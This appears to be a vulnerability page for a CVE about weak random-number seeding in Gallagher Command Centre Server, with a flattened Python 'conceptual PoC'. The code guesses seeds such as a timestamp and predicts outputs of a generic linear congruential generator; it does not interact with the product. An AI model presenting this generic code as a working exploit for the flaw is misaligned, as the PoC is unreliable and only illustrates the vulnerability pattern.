CVE-2025-52578: Gallagher Command Centre Server PRNG种子使用不当漏洞

# CVE-2025-52578 PoC - PRNG Seed Analysis Framework # Note: This is a conceptual PoC demonstrating the vulnerability pattern # Actual exploitation requires physical access to target device import struct import time from Crypto.Random import get_random_bytes class GallagherPRNGAnalyzer: def __init__(self, target_version): self.target_version = target_version self.entropy_sources = [] self.weak_seeds = [] def analyze_seed_pattern(self): """ Analyze potential weak seed patterns in Gallagher PRNG Common weak patterns: timestamp, device_id, sequential counters """ print(f"[*] Analyzing PRNG seeds for version {self.target_version}") # Weak seed patterns to check weak_patterns = { 'timestamp': int(time.time()), 'device_id': 0x47414C4C41474845, # Example device ID 'counter': 0 } print("[+] Identified weak seed patterns:") for pattern, value in weak_patterns.items(): print(f" - {pattern}: {hex(value)}") self.weak_seeds.append(value) return self.weak_seeds def predict_prng_output(self, seed, count=16): """ Attempt to predict PRNG output given a weak seed This simulates the attacker's capability to predict random numbers """ print(f"[*] Predicting PRNG output with seed: {hex(seed)}") # Simplified PRNG prediction (actual implementation may vary) predicted = [] state = seed for _ in range(count): state = (state * 1103515245 + 12345) & 0x7fffffff predicted.append(state) print(f"[+] Predicted {count} PRNG outputs") return predicted def verify_physical_access_required(self): """ Verify the attack vector requires physical access """ print("[!] ATTENTION: This vulnerability requires physical access to target device") print("[!] Attack vector: AV:P (Physical)") print("[!] Attack complexity: High") return True def main(): print("=" * 60) print("CVE-2025-52578 - Gallagher Command Centre PRNG Seed Vulnerability") print("=" * 60) analyzer = GallagherPRNGAnalyzer("9.30") # Step 1: Analyze seed patterns seeds = analyzer.analyze_seed_pattern() # Step 2: Attempt prediction if seeds: predicted = analyzer.predict_prng_output(seeds[0]) print(f"[+] First 4 predicted values: {[hex(p) for p in predicted[:4]]}") # Step 3: Verify requirements analyzer.verify_physical_access_required() print("\n[*] Note: This is a simplified demonstration") print("[*] Actual exploitation requires detailed firmware analysis") print("[*] and physical access to the target Gallagher device") if __name__ == "__main__": main()